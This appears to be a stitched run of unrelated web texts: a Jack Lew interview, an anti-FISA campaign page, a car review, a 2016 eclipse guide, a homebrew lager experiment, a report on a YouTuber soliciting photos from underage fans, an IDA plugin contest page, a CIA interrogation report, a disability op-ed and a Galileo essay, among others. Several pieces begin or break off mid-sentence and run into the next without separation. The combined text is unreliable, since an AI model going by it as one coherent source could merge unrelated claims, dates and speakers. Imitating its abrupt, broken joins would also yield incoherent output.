Earlier in the week, Lew was engaged in nitty-gritty negotiations with senior Chinese officials at the two-day Strategic & Economic Dialogue talks in Washington. Lew wasn’t shy about calling out the Chinese, saying: “We've made it very clear that they do things that are unacceptable. And our point has been you have to stop having government-enabled theft of trade secrets through cyber means. It's important that they know these are issues that potentially very much could interfere with the relationship that they want to have with the United States.” Lew says progress was made with the Chinese in terms of commitments on currency exchange rates, opening up its markets and “on the information technology issues; they have suspended a process of putting in place rules that we've said were very troubling.”
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And in a rare show of bi-partisanship in Washington this week, the Senate passed a so-called fast-track trade bill that grants President Barack Obama Trade Promotion Authority (TPA), by a vote of 60-38, putting Republicans and the Obama administration on the same side of the aisle, while the dissent was populated by disenchanted Democrats who were taking into account labor union and environmentalist constituents who opposed the bill. Why were the unions against it, I asked Lew?
“Look, it's been a difficult time in a number of sectors of the economy,” he said. “And I understand very much the impact the change has had on the lives of workers. We're committed to bringing back trade agreements that meet the high standards that we've committed to. So it's not just any trade agreement, it has to be a trade agreement that protects worker rights, that protects the environment. “
Separately, Lew warned that is was a mistake for Congress to let the Internal Revenue Service languish. “I think it's very shortsighted to underfund the IRS,” he said. “For every dollar that they don't have to enforce our tax laws, it means we collect less tax revenue. So it is not fiscally conservative, and it's not a good thing in a tax system that is really based on voluntary compliance. There ought to be the sense that people who don't do the right thing will get caught.”
As for our tax system, Lew was even more blunt: “I think our business tax code is something that is broken. We saw that last year so clearly through the pattern of inversions that was so unpopular in this country. The cause of it is a broken tax code. We have the highest statutory tax rate in the developed world. But our average tax rate is about average. That means we have all these loopholes and deductions that are making it necessary for the tax code to stay higher than is competitive."
Story continuesThe FISA Improvements Act of 2013 seeks to extend NSA surveillance.
Not in the United States? Click here.
The FISA Improvements Act of 2013 is a new bill promoted by Senator Dianne Feinstein, Chair of the Senate Intelligence Committee, designed to bolster some of the worst NSA surveillance programs and grant new authority to the NSA to engage in surveillance.
Senator Feinstein is touting this proposal as a way to address the problems with uncontrolled NSA spying, but don’t be fooled: it’s a fake fix.
The Fake Fix is designed to:
Authorize the NSA’s practice of collecting phone records of hundreds of millions of innocent Americans. Authorize the NSA to engage in bulk collection of Internet communication records—an extremely invasive program the government tried in the past, but shut down because it was useless.
This bill isn’t designed to rein in the NSA spying programs.
It won’t end bulk data collection by the NSA, and it won’t stop unconstitutional surveillance on our communications. It offers fig-leaf transparency and oversight provisions while embracing NSA surveillance.
The Fake Fix is already out of committee and the Senate could begin voting on it soon. Please act quickly to help us defeat this terrible bill. Send a letter to your members of Congress and tell them to oppose Senator Feinstein’s Fake Fix and support real reform to end mass surveillance.EU lawmakers urged Germany on Thursday to grant broader access for other Europeans to its fund for victims of the drug thalidomide, which caused birth defects in thousands of babies in the late 1950s and early 1960s.
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The European Parliament voted overwhelmingly in favour of |
stability control is recalibrated. These changes make allowance for the four-door’s longer wheelbase, stated 4575-pound curb weight (probably close to accurate; our scales said the Challenger weighs 4488 while Dodge claimed 4439), and its 56/44 versus 57/43 weight distribution.
Yet it hardly embarrasses itself on a circuit. After switching all chassis and powertrain settings to “Track,” we tackled Summit Point and immediately got comfortable with the car’s sharp turn-in and tidy, predictable body motions. It always drives big (because, with a wheelbase of 120.4 inches, it is big), but the steering—hydraulically assisted for the Hellcat, versus electric for other Chargers—is talkative and ultimate grip is quite high. Powering hard out of the curves, the rear end breaks away gradually and predictably yet is easily catchable with a bit of opposite lock. Driven smoothly, this is not a scary cat.An eclipse will occur in Asia Pacific on Wednesday 9 March, visible to varying degrees from Japan to Australia, with totality across Indonesia
Total solar eclipse 2016: when it's happening and how to watch it
Day will turn to night this week for millions of people, as the moon passes directly in front of the sun causing a total solar eclipse.
Total solar eclipse 2016 live: Indonesia prepares to witness totality Read more
On Wednesday 9 March, people in some parts of Australia and south-east Asia will be able to witness the event. It will also be visible in Hawaii, east of the international dateline, where it will still be Tuesday 8 March. For those further west or east in Europe and America, it will already be night, so the sun will not be visible.
Here’s what you need to know.
What is a solar eclipse?
A solar eclipse occurs when the moon passes directly between the Earth and the sun, casting a shadow over the Earth. It can only happen during a new moon – when the dark side of the moon is facing the Earth.
Lunar eclipses, on the other hand, occur when the Earth passes between the sun and the Moon, casting a shadow over a full moon.
Where and when to see the eclipse
The following graphic produced by Nasa shows from where you can best see the eclipse.
As the Earth rotates, the best spot to see the eclipse will move along the the central blue zone. If you’re lucky enough to be in that zone – most of which lies in Indonesia – then you should be able to see the sun completely blocked by the moon.
Facebook Twitter Pinterest A graphic released by Nasa showing where the solar eclipse of March 2016 will be visible. Photograph: Nasa
If you are a long way north or south of that spot, you will only be able to see a partial eclipse. For example, people in Darwin in northern Australia will be able to see 60% of the sun covered by the moon. People in Perth should be able to see 10% of the sun blocked.
Moving north, people in southern Vietnam and Thailand will see a 60% eclipse, while most people in Japan should be able to see a 20% eclipse.
Michael Slezak (@MikeySlezak) Wondering where you can see the eclipse from next Tuesday? This gif that NASA made should have you covered. pic.twitter.com/xWYbHVyWZf
If you’re confused by the times (and date) in those graphics, don’t worry – the eclipse won’t be happening at midnight. The time there is Universal Time, which is equivalent to Greenwich Mean Time. You can use Google or a site like this to convert it to your local time.
In Australia, unfortunately the major centres of Sydney, Brisbane, Adelaide and Hobart will miss out on the eclipse. But if you’re in Queensland, and north of about Rockhampton, you should be able to see a partial eclipse from about 11am on the coast, or a bit earlier from inland.
In the Northern Territory, it should happen around 10am. And most people in Western Australia should be able to see a partial eclipse – start watching from about 8am.
In central Sumatra in Indonesia, where the eclipse will be a total one, it will happen almost immediately after the sun rises, so start watching from about 6.30am. In Jakarta, you should see about a 90% eclipse about 15 minutes later.
In Japan, you should be able to see about a 20% eclipse. It will start at about 10.20am in the west.
In Hawaii, if the skies are clear, you should be able to see a 60% eclipse from about 5.30pm, just as the sun is preparing to set.
Here are some guides for key centres along the route of the eclipse. The following places will experience totality at these times (all times local):
Palembang, Sumatra: 7.21am
Palu, Sulawesi: 8.38am
Ternate, Malaku: 9.53am
And these cities will also see their peak partial eclipse at the following (local) times:
Bangkok, Thailand: 7.32am
Singapore: 8.23am
Kuala Lumpur, Malaysia: 8.23am
Manila, Philippines: 8.58am
Darwin, Australia: 10.17am
Cairns, Australia: 11.12am
The total eclipse viewing time will span an hour either side of these times.
Wherever you are, pop by the Guardian website and follow our stories, which will be collecting photographs of the event as it happens.
The most important thing
Do not look directly at the sun.
The eclipse itself can be viewed safely with the naked eye for only a few seconds, and only if you are in a location where the sun will be completely covered by the moon.
Looking at even a sliver of the sun can cause permanent eye damage or blindness.
And your sunglasses don’t help either. Read on to find out the safest way to watch.
How to watch the eclipse
As we warned above, do not look directly at the sun – but there are some materials you can use to safely look at the sun. You could buy some “number 14 welder’s glass” from a welding supply outlet or from some hardware stores. You can also use aluminized mylar, which can even be cut with scissors.
Another way to see it happen is to make your own pinhole camera. Basically, it requires poking a hole in a box, and putting some paper over the back of it. Follow directions in this video:
How often do eclipses occur?
Solar eclipses can occur up to five times a year, although that is rare. Nasa keeps a list of past and future eclipses and according to that, only 25 years in the past 5,000 have had five solar eclipses.
Each eclipse is viewable from a different location. For example, in 2015 a total eclipse of the sun was viewable from the UK, but that country won’t see another one until 2090.Environment Canada issued a special weather statement for Toronto, forecasting 2 to 4 cm of snow in some areas. The weather agency says the white fluff will be heavy at times, as a band of snow makes its way east to the Kingston area early this afternoon. The snow is expected to change to rain later in the day, and winter’s white will end up looking more like grey April showers. The rain will stick around well into Thursday morning with a 60 per cent chance of showers until noon.
A woman walks north along Yonge Street during yet another April snowfall. ( Carlos Osorio / Toronto Star )
The good news? Temperatures will hold steady around 4 C from midday onwards, and continue to rise until Thursday morning, when they’ll hit a high of 8 C. “We just came through the warmest winter on record, but we’re getting greedy if we want muscle shirts and tank tops in April,” said Environment Canada climatologist Dave Phillips. “All things considered, this is still very typical weather for this month.”
Article Continued Below
The bad news is that our first taste of warmer, spring-like weather won’t be here for long. Temperatures will fall back into the negatives on Friday and into the weekend, with a low of -6 C on Friday and -7 C on Saturday. Never fear – this could be the last we see of ole’ man winter (we swear!). Environment Canada is projecting that temperatures will continue to rise until the end of the month as we head into a warmer than usual spring. “The key word is patience. Every day it’s getting more difficult for the cold air to hang on but it likely won’t be until the third week of April before temperatures become something a bit more persistently warm,” Phillips said.Cross-section of a Tesla valve, displaying its unique cavity design, from the original patent application.
A Tesla valve, called by Tesla a valvular conduit, is a fixed-geometry passive check valve. It allows a fluid to flow preferentially in one direction, without moving parts. The device is named after Nikola Tesla, who was awarded a patent in 1920 for its invention. The patent application describes the invention as follows:[1]
The interior of the conduit is provided with enlargements, recesses, projections, baffles, or buckets which, while offering virtually no resistance to the passage of the fluid in one direction, other than surface friction, constitute an almost impassable barrier to its flow in the opposite [direction].
Tesla illustrates this with the drawing, showing one possible construction with a series of eleven flow-control segments, although any other number of such segments could be used as desired to increase or decrease the flow regulation effect.
One computational fluid dynamics simulation of Tesla valves with 2 and 4 segments showed that the flow resistance in the blocking (or reverse) direction was respectively about 15 and 40 times greater than the unimpeded (or forward) direction.[2] This lends support to Tesla's patent assertion that in the valvular conduit in his diagram, a pressure ratio "approximating 200 can be obtained so that the device acts as a slightly leaking valve".[1]
The Tesla valve is used in microfluidic applications[3] and offers advantages such as scalability, durability, and ease of fabrication in a variety of materials.[4]
Diodicity [ edit ]
The valves are structures that have a higher pressure drop for the flow in one direction (reverse) than the other (forward). This difference in flow resistance causes a net directional flow rate in the forward direction in oscillating flows. The efficiency is often expressed in diodicity D i {\displaystyle Di}, being the ratio of pressure drops for identical flow rates:[5]
D i = ( Δ p r Δ p f ) Q, {\displaystyle Di=\left({\frac {\Delta p_{r}}{\Delta p_{f}}}\right)_{Q},}
where Δ p r {\displaystyle \Delta p_{r}} is the reverse flow pressure drop, and Δ p f {\displaystyle \Delta p_{f}} the forward flow pressure drop for flow rate Q {\displaystyle Q}.
See also [ edit ]Early indications are that Ravens defensive tackle Timmy Jernigan dodged a significant knee issue, but he's still expected to miss some practice time and his status for the team's Sept. 13 regular-season opener against the Denver Broncos is in question, sources said.
Jernigan, who was hurt in the first quarter of the Ravens' loss to the Washington Redskins on Saturday night, probably wouldn't have played in Thursday's preseason finale against the Atlanta Falcons anyway. Now, that's all but certain and he'll need to heal fast to be ready for the Broncos.
The team's top replacement for Haloti Ngata, Jernigan missed four games last season with a knee injury and also had some knee issues at Florida State.
In other injury news, cornerback Chris Greenwood, who was hurt during Saturday's fourth quarter, has a torn hamstring and could be headed to injured reserve.
The Ravens return to practice Monday and they are optimistic that they'll have wide receiver Michael Campanaro (soft-tissue injury) and cornerback Lardarius Webb (hamstring) back on the field early this week. Both participated in individual pre-game workouts Saturday and moved around well.Melissa Etheridge stopped by "The View" Tuesday, but before singing a Christmas song she challenged co-host Elisabeth Hasselbeck about Prop 8.
Etheridge married partner Tammy Lynn Michaels, which whom she has twin two-year olds, in 2003.
"To have people vote to take away rights is very un-American," Etheridge told the cohosts talking about her disappointment over Prop 8.
She then singled out Elisabeth for a previous show's discussion on the issue when she cited a Swedish priest. "I was saddened with your conversation only because I felt you misleaded people when you started to talk about a Swedish priest who was put in jail..."
Elisabeth got defensive and backed away. "We're not in California. I didn't vote on Prop 8. I wasn't there..."
The conversation got a little more heated from there, but Etheridge stayed cool and cited Thomas Jefferson while Elisabeth fought back. Sadly for viewers, Sherri then interrupted and had Etheridge sing a song, inviting her back another time to talk gay marriage.
Until next time!
WATCH:
<0--4945245001--hh>0--4945245001--hh>Author: Matt Del Fiacco
Shock. Disbelief. Head scratching. All adequate descriptions of how I felt about prior xBmts showing participants were unable to distinguish lagers fermented warm from the same beers fermented cool with both WLP800 Pilsner Lager and Saflager W-34/70 yeasts. Conventional wisdom, which I admittedly accepted without question, has it that lagers require cooler fermentation temperatures in order to restrain ester development such that the resultant beer is clean and crisp, yet the results from the aforementioned xBmts suggest any differences caused by rather disparate fermentation temperatures weren’t large enough for tasters to reliably tell them apart.
Indeed, a follow-up xBmt designed to test the extremes by comparing beers fermented with Saflager W-34/70 at either 60˚F/16˚C or 82˚F/28˚C did return significant results, but only by a small margin, and surprisingly, a majority of tasters who got the triangle test correct preferred the warm fermented sample. After xBmt results suggested participants could reliably distinguish a beer fermented with WLP001 California Ale yeast from the same beer fermented with Safale US-05, I wondered if results from the aforementioned fermentation temperature xBmts using Saflager W-34/70 might be specific to that particular strain and not necessarily other versions said to be from the same source. Loaded with skepticism, I designed an xBmt to test out the impact fermentation temperature has on one of my favorite yeasts, Wyeast 2124 Bohemian Lager.
| PURPOSE |
To evaluate the differences between a lager fermented cool (48˚F/9˚C) and the same lager fermented warm (72˚F/22˚C) with Wyeast 2124 Bohemian Lager yeast.
| METHODS |
I wanted to use a recipe I’d brewed many times before and knew well for this xBmt, so I went with a house staple.
Na Zdravi Czech Premium Pale Lager
Recipe Details Batch Size Boil Time IBU SRM Est. OG Est. FG ABV 5.5 gal 60 min 33.2 IBUs 3.9 SRM 1.047 1.011 4.7 % Actuals 1.047 1.013 4.5 % Fermentables Name Amount % Pilsner (Weyermann) 8.75 lbs 92.72 Carafoam (Weyermann) 4 oz 2.65 Carahell (Weyermann) 4 oz 2.65 Melanoidin (Weyermann) 3 oz 1.99 Hops Name Amount Time Use Form Alpha % Saaz 25 g 60 min Boil Pellet 4 Saaz 31 g 30 min Boil Pellet 4 Saaz 62 g 15 min Boil Pellet 4 Saaz 62 g 0 min Boil Pellet 4 Yeast Name Lab Attenuation Temperature Bohemian Lager (2124) Wyeast Labs 71% 48°F - 58°F Notes Water Profile: Yellow Balanced in Bru’n Water Spreadsheet
A few days before brewing, I made a single starter of a Wyeast 2124 Bohemian Lager yeast that I stepped up to ensure enough cells for two 5 gallon batches. At the start of my brew day, I set both eBIAB systems to heat the mash water, which I’d adjusted to my desired profile.
While the water was heating, I weighed out and milled the grains for each batch
When strike temperature was reached, I dropped the grain baskets into either kettle, stirring to fully incorporate, then checked to see if I hit my target mash temperature.
I typically employ a Hochkurz step mash for this beer, so I did raise the temperature to 160˚F/71˚C thirty minutes into the mash.
After another 10 minutes, I bumped the temperature up again for a mash out before removing the grain baskets and letting them drain while the wort was heating to a boil. During the wait, I weighed out my hop additions.
Hops were added as stated in the recipe, each addition followed by the familiar smell of boiling hops– never gets old!
When the 90 minute boils were complete, I chilled each wort with a stainless immersion chiller to 80°F/27°C then ran equal amounts from each batch into separate fermentation kegs, which were placed in separate chambers to finish cooling. Hydrometer measurements confirmed both batches achieved the same OG.
With both beers stabilized at their respective fermentation temperatures of 48˚F/9˚C and 72˚F/22˚C 6 hours later, I decanted the yeast starter then evenly split the remaining yeast between the batches. The cool ferment beer was left alone for 7 days before I gently ramped the temperature to 72˚F/22˚C for a diacetyl rest while the warm ferment batch was controlled to 72˚F/22˚C throughout fermentation.
Both beers were spunded for natural carbonation over the final 3 days of fermentation, after which they were cold crashed to 36˚F/2˚C and left to lager for 1 week.
After transferring the beers to serving kegs, I degassed samples from each and took hydrometer measurements showing both hit a similar FG.
Once adequately carbonated, the beers were put in my keezer with the gas set to serving pressure for a few days before they were ready to serve to participants.
| RESULTS |
A total of 20 people of varying levels of experience participated in this xBmt. Each participant was served 1 sample of the cool ferment beer and 2 samples of the warm ferment beer then asked to identify the sample that was unique. While 11 tasters (p<0.05) would have had to correctly identify the unique sample in order to reach statistical significance, only 8 (p=0.34) picked the odd-beer-out, indicating participants in this xBmt were not able to reliably distinguish a lager fermented at 48˚F/9˚C from the same lager fermented at 72˚F/22˚C using Wyeast 2124 Bohemian Lager yeast.
For fun, I figured I’d share the preference data of the 8 tasters who got the triangle test correct, even though it means nothing. In all, 3 people said they preferred the cool ferment lager, 4 liked the warm ferment beer more, and 1 person noted having no preference despite noticing a difference.
My Impressions: I attempted 4 triangle tests with these beers and selected the unique sample only twice. While my palate can certainly be called into question, I honestly could not tell the beers apart, despite my confidence going into these tests that I’d be able to easily distinguish a difference. I fully expected the cool ferment beer to be more crisp than the warm ferment batch based on what I believed to be true about lager fermentation, but that wasn’t the case at all. The warm ferment batch, which was fermented far warmer than I’d ever intentionally ferment anything other than maybe a Saison, was equally as clean, crisp, and flavorful as its cool ferment counterpart, which was surprising as hell.
| DISCUSSION |
We’ve been taught that fermentation temperature is one of the most important factors when it comes to making good beer, particularly lager styles, which purportedly require cool temperatures to keep undesirable esters and other off-flavors at bay. I can’t really say how I’d feel about the results of this xBmt showing tasters were unable to reliably distinguish a lager fermented cool from one fermented warm if someone else had performed it, but after sampling these beers myself both side-by-side and in semi-blind triangles, I find myself questioning my preconceived convictions. The beers tasted exactly the same to me despite being fermented 24°F/13°C apart from each other, and having brewed the, I knew what to look for.
When viewed together with other surprising fermentation xBmt results, these findings suggest to me brewers who love lager styles may not have to avoid making them due to fermentation temperature limitations. As we say often, a single xBmt result does not a principle make, and while 3 non-significant fermentation temperature xBmts using traditional lager strains certainly isn’t conclusive, it’s enough to get me to open my eyes to the idea that maybe the processes we’ve adopted from historical methods isn’t necessarily required. Regardless, I’ll likely continue to ferment most of my lagers cool for the most part, but if I desire a quick turnaround Pilsner or Märzen, I won’t hesitate to ferment it like an ale.
If you have any thoughts about this xBmt, please share them in the comments section below!
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Like this: Like Loading...People Are Concerned That Onision Is Asking For Photos Of Underage Fans
By Charleyy Hodson
This is messed up.
Please note: This is a news story from 2016.
You may not be an avid watcher of the OnisionSpeaks channel, but something has been happening over the last four weeks that simply cannot be ignored anymore. In recent videos, Onision is seen critiquing the bodies of young women and declaring whether they need to lose or gain weight in his opinion. The problem is that these images are often from underage girls posting on a forum Onision owns and runs himself. It's NOT good.
The website, which we shall not be linking to for obvious reasons, seems to be the main place for fans to actually send their semi-naked photos for him to critique in his videos. However, to sign up for the website there is NO age restriction and the Terms & Conditions do NOT mention anything about users needing to be over 18 to submit their own images.
For this reason, some underage fans are sharing images and hiding their age so they don't cause Onision any "problems".
Onision hasn't exactly shied away from his knowledge or involvement with the website, and in his most recent video description he actually tries to reason why the site is beneficial: "A lot of you posted pictures to the forums wanting opinions on your body types demonstrating how a body can look ugly from one angle, then better from another angle or position… I think there is a lot to learn in this video & overall, I really appreciate your contributions”. Unfortunately, with a large majority of these "contributions" being from people listing their age between 11- and 17-years-old, it's concerning people to know that Onision can "appreciate' this content.
News of his website exploded on Reddit overnight when it became clear that people were starting to use the site to beg for certain images to be removed from Onision's videos. One user posted that in his recent "try hard girls" video, their sister was featured in her "Calvins" when she's "only 13 and shouldn't be posting that type of stuff online". The video has not yet been removed. If this comment is true, this means that Onision is potentially guilty of distributing child pornography.
We'll keep you updated if this story goes any further. There has been no comment from Onision on the subject.
(Research: @William__Hicks)Gasp and recoil all you like, I think Charlie raises a valid question.
This weekend I had the pleasure of playing in the Diablo 3 open beta weekend and I am happy to report that if you love the series, you will not be disappointed. The graphics are tight, the sound is incredible, and all of the iconic Diablo beats are there. Within moments of creating Bartleby the Wizard, I was playing as if I’d never stepped away from Diablo 2. I am of the mindset that sequels should feel similar and Diablo 3 delivers. I will save a big review for the launch but I just want to say, I was already excited to play but this weekend sealed the deal. I will lay down the cash for my pre-order and pace the floors until May 15th.
I would also like to take a moment to thank everyone who orders merchandise from my online store, clicks an ad banner, Stumbles, Reddits, or Pins a comic or mentions d20monkey online. It is very easy for folks to get lost in the shuffle of hectic schedules and I just want you to know that I keep every nice piece of fan mail, fan art, or blog post. Without all of you, my dream of doing this full-time would be impossible and thanks to you, every day I get a little bit closer.
Thank you.
Commenters: Is there a series or game franchise that you love and cannot live without?This year the plugin contest gathered five contestants. But as you know, there can only be one, well, two winners!
Based on the plugin's functionality, robustness, usefulness, ease of use and documentation, we declare the following winners: Aaron Portnoy, of Exodus Intelligence, with the IDA Toolbag plugin Daniel Plohmann, of the Fraunhofer FKIE, with the IDAscope plugin
Congratulations to both! We are pleased with the improved plugin quality and complexity.
Below is the list of all submissions in no particular order. All contest entries are interesting and useful:
Dean Pucsek's Rails plugin A quote from the documentation: Rails is a plugin that simplifies the task of working with multiple instances of IDA Pro. It allows you to view comments from other open instances of IDA, jump to other open instances, and jump directly to the function definition in the instance that owns it. Our comments: Rails is a neatly written little plugin for OS X that lets the user link multiple local instances of IDA. It will most certainly help you reduce the amount of Cmd+Tab bing, and save your time from searching for functions! It will be very useful when working with projects consisting of several interoperating modules. Dean has recorded a nice video, explaining how the plugin works. Download Rails Source on Github
Rails is a neatly written little plugin for OS X that lets the user link multiple local instances of IDA. It will most certainly help you reduce the amount of bing, and save your time from searching for functions! It will be very useful when working with projects consisting of several interoperating modules. Daniel Plohmann's IDAscope plugin A quote from the documentation: IDAscope is an IDA Pro extension, intended to ease reverse engineering with a focus on malware analysis Our comments: The short quote coming from the documentation gives a pretty good higher-level idea what IDAscope is about, but in case you want a slightly more detailed introduction, here are its most important features: Automatically tag unnamed functions with information gathered from the API calls it makes; that provides the reverser with a quick initial insight about what the function does (e.g., deals with files, network, etc...) Spot 'wrapper' functions: those that make a function call (e.g., an API call), but hardly do anything else interesting. Provide an in-IDA WinAPI browser. You won't ever need to leave the IDA window anymore! (well, when working on Windows files, that is) Apply heuristics to spot blocks of code that look like cryptography routines. IDAscope provides several very helpful tools that IDA is missing out-of-the-box; especially when it comes to applying heuristics to make uncertain decisions. Such heuristics can help greatly by providing starting points when analyzing malware.
Download IDAscope Source on Github Author's blog
The short quote coming from the documentation gives a pretty good higher-level idea what IDAscope is about, but in case you want a slightly more detailed introduction, here are its most important features: IDAscope provides several very helpful tools that IDA is missing out-of-the-box; especially when it comes to applying heuristics to make uncertain decisions. Such heuristics can help greatly by providing starting points when analyzing malware. Karthik Selvaraj's Krypton plugin Here's the short description, from the documentation: Krypton is an IDA Plugin that assists one in executing a function from IDB (IDA database) using IDA's powerful Appcall feature krypton takes xrefs from a given function (say a possible decoder) to find all function calls to it and then parses and finds the parameters used (including prototype, no of arguments, and the arguments themselves) from instructions and uses them to execute the function using Appcall, this is most useful in analyzing a malware binary with encryption Our comments: Krypton can be very useful if you're often dealing with malware that encrypts its strings or other commonly used data. The source code was clean and the documentation very helpful. Download Krypton
Krypton can be very useful if you're often dealing with malware that encrypts its strings or other commonly used data. The source code was clean and the documentation very helpful. Aaron Portnoy's IDA Toolbag plugin The IDA Toolbag plugin provides many handy features, such as: A 'History' view, that displays functions in the disassembly that you have decided are important, and the relationships between them. A code path-searching tool, that lets you find what functions (or blocks) are forming a path between two locations. Manage and run your IDC/Python scripts Something that's also of considerable importance is that the IDA Toolbag lets you collaborate with other IDA users: one can publish his 'History', or import another user's history & even merge them! See the official documentation for an extensive feature list. Our comments: Not only is the list of features the IDA Toolbag offers very impressive, it also brings collaboration to the rank of a first-class citizen in IDA workflows. It is the clear winner among this year's submissions.
Download IDA Toolbag Source on Github
The IDA_Signsrch plugin The IDA_Signsrch Win32 plugin is a handy port of Luigi Auriemma's signature matching tool signsrch. It can scan the whole database and comment known byte sequences, e.g. standard encryption constants or compression dictionaries. Our comments: Improved for speed, coming with a rich set of predefined signatures, and featuring a clever and efficient pattern-matching algorithm, IDA_Signsrch is a valuable addition to any reverse engineer.
Download IDA_Signsrch Discuss Author's blog
We would like to thank everyone who participated in the contest. As is usually the case, we received quite interesting plugins this year. We are looking forward to receiving more submissions in the next contest.
A note to the downloaders: please be aware that all files come from third parties. While we did our best to verify them, we can not guarantee that they work as advertised, so use them at your own risk.
For the plugin support questions, please contact the authors.
Date: 21 September 2012Two psychologists working on the Bush administration’s enhanced interrogation techniques pushed for the use of “mock burials” on terror suspects, according to documents released by the Department of Justice.
Blogger Marcy Wheeler reports that the Department of Justice rejected a request from psychologists Bruce Jessen and James Mitchell to give the CIA the power to pretend to bury terror suspects during interrogations in the years after the 9/11 attacks.
A report (PDF, 289 pages) from the Justice Department’s Office of Professional Responsibility, released last Friday, documents ten interrogation techniques approved by Bush administration lawyers Jay Bybee and John Yoo.
But Wheeler notes that the psychologists had requested twelve techniques. One of those two techniques has already been revealed to be prolonged diapering. Wheeler uncovers evidence that the other one was mock burial.
“There must have been significant discussion about the decision to exclude mock burial from the
, because the reference to its exclusion in the report itself (PDF page 60 in the Final Report) includes a page and a half of redactions following the discussion of leaving it out,” Wheeler reports.
Wheeler also suggests that the revelations about mock burial could be potentially incriminating for the CIA.
“Any legal discussion of why mock burial would be a problem would focus on how torture statutes prohibit the threat of imminent death,” Wheeler writes.
“Yet after mock burial was specifically excluded as a torture technique, CIA torturers went on to threaten detainees with a power drill and a gun. In other words, someone at that CIA had already been told, specifically, that they could not use the threat of imminent death on detainees. But on at least two occasions, they did so anyway.”
A CIA inspector general’s report, released last summer, documented cases of CIA interrogators using “mock executions” to intimidate suspects, including one instance in which a gun was fired in an adjoining room to make a suspect think another prisoner had been shot.
Jessen and Mitchell, the two psychologists reportedly behind the idea to carry out mock burials, came from SERE, or “Survival, Evasion, Resistance, and Escape,” a military program designed to teach soldiers how to resist torture when captured. They were contracted to work for the CIA after 9/11, and were tasked with teaching CIA interrogators some of the harsh methods they learned to defend against at SERE. The techniques covered by SERE appear to be the basis for the enhanced interrogation program run under the Bush administration.
In 2008, the Pentagon banned the use of SERE techniques in interrogations.Eric Harwood is a medically retired locksmith.
Last week, ABC News reported that the backlog of Americans waiting to see if they qualify for disability assistance from Social Security has swollen to one million people and that thousands have died while waiting for the agency to deal with their cases. What they didn’t report is that thousands have also lived while waiting for the agency to deal with our cases. And that can be just as bad.
I was born in 1968 in York, Pa. My birthparents were semitruck drivers, so we bounced around the country quite a bit growing up. As a child, I was placed in foster care, and by 21, after working for a time in a warehouse, I, too went into truck driving.
Driving, loading and unloading trucks is not an easy business on the body. But as a young person, feeling invincible, I didn’t think much of it. I got married in 1997 and realized that being gone all the time wasn’t a great thing. So I left truck driving and went into trade school to become a locksmith. I love working with my hands, tinkering with things and figuring out how they work, so the job was a natural fit for me. Of course, lifting and moving heavy safes without proper equipment, I wound up damaging my back even more than I had already damaged it driving trucks.
[Laziness isn’t why people are poor. And iPhones aren’t why they lack health care.]
And I paid for it. In April 2013, I woke up with a nasty pain in my back, and I just couldn’t shake it. I kept thinking it would get better if I just ignored it, and I liked working — I always have — so I put it aside, did my best to ignore it, and pressed on without telling anyone in my lock shop what was going on.
But the pain just got progressively worse and worse and worse. I finally saw a doctor, who told me I had degenerating discs in my back, neuropathy in both legs and sciatica. I had cut back my hours, and at that time a co-worker suggested I should apply for Social Security Disability. I thought about it — after all, I don’t believe much in taking handouts. But I felt like I had paid into it, so I should be able to benefit from it. I applied.
But the agency ruled that, because I was still gainfully employed — at very reduced hours — I didn’t qualify for SSDI. So, I kept working, and things kept getting worse. By August 2015, my boss tearfully called me into his office and said: “Eric, I’m sorry — I have got to let you go. You need help, and you can’t keep up anymore.” He was right. I did need help.
So I applied anew for SSDI, now without any job whatsoever. The agency hadn’t been slow about denying my claim the first time around, so I figured they would be relatively quick to approve it now that I met all the conditions. But I was wrong.
[I worked all my life and then had a stroke. I need disability. But I’m so ashamed.]
Time stretched on without me working. My wife had just started her own hair styling business — her dream. But as bills came due and weeks went with no word from Social Security, our savings began to run out. The agency fought me at every turn: When I would request updates, they would tell me that my case was moving along, and nothing more. Every few months they sent me another pack of papers to fill out: What were my current conditions, was I working, and so forth. I would dutifully fill the packets out and send them back in, and I would hear nothing. All the while, our money dwindled away.
My wife and I began selling our things. We had to sell our car, and I sold my motorcycle, which I had built from the ground up. It wasn’t anything special, nothing fancy; but it was something I put a lot of time and sweat in to. I sold it to cover living expenses for about four months. We sold our furniture, and my wife took |
waiting and longing for, the chance to go down in history as the man who established the heliocentric cosmos. Using his friendship with the new Pope, Galileo convinced Barberini that the German Protestants were laughing at the Catholic Church because it had rejected heliocentricity because according to those dastardly Protestants the Catholics were too stupid to understand it. Beguiled by his silver tongued friend Barberini gave Galileo permission to write and publish a book in which he would present both the Ptolemaic and Copernican systems to demonstrate the deep astronomical knowledge of the Catholics but by no means was he to favour one of the systems. Galileo wrote the book, his Dialogo, in which he was anything but impartial and unbiased, as instructed, but instead left nobody in any doubt just how superior the Copernican system was in his opinion, however he still lacked any real empirical proof. Through a series of tricks he managed to get his book past the censors and into print. Galileo had erred very badly, you don’t play the most powerful absolutist ruler of your time for a fool, particularly not when that ruler is already displaying strong signs of the paranoia that, sooner or later, effects all absolutist rulers.
I’m not going to go into all of the contributory factors that played a part in the sorry mess that was Galileo’s trial by the Inquisitions, I’ll deal with those one day in another post, but it is safe to say that he got stamped on for his hubris. By comparison with other cases he didn’t actually get stamped on very hard and got off relatively lightly. I can already hear the screams of protest at the last sentence but within the context of the times and place where Galileo lived and moved it is an accurate description of his fate.
One thing that should be made very clear when discussing this whole sorry mess is that Galileo was never the fearless defender of scientific truth or freedom of speech that his modern fan club like to present him as. He was an extremely egotistical social climber with an eye on the main chance, his own undying fame. Through his ill-considered actions he achieved his goal but not quite in the way he had intended.
It is ironic that many people today still believe erroneously that Galileo actually proved the reality of a heliocentric cosmos in his Sidereus Nuncius.
[The original opening paragraph of this post was modified at the request of those who wish it to be used as a short simple reference source]
AdvertisementsYou could argue that every endorsement is strategic. Very few are proffered without the expectation of something in return, be it as tangible as a position in a future administration (in the case of former opponents, or sitting senators), fundraising with the candidate (coveted by local legislators), or just the reflected glow of a successful election (county commissioners, party officials). Even so, you’re still expected to like the candidate you’re endorsing, or at least think they’re the best pick for the job. But that was before the 2016 race turned into a game theory experiment, where true feelings are set aside for the purpose of a single mathematical result.
When it comes to strategy, my comprehension ends at the old Prisoner’s Dilemma trick. So I called Kevin Zollman, an associate professor at Carnegie Mellon University, who studies game theory and the philosophical underpinnings of strategy. He and I talked through the rules of the games being played on the national stage, and how they theoretically could be won.
The push and pull of being first
By now, it’s no longer surprising to see Chris Christie tagging along behind Donald Trump like a younger brother. But at the time of his endorsement, no one could believe it. Why would Christie, still tan from his time in the spotlight, tie himself so quickly to such a divisive candidate?
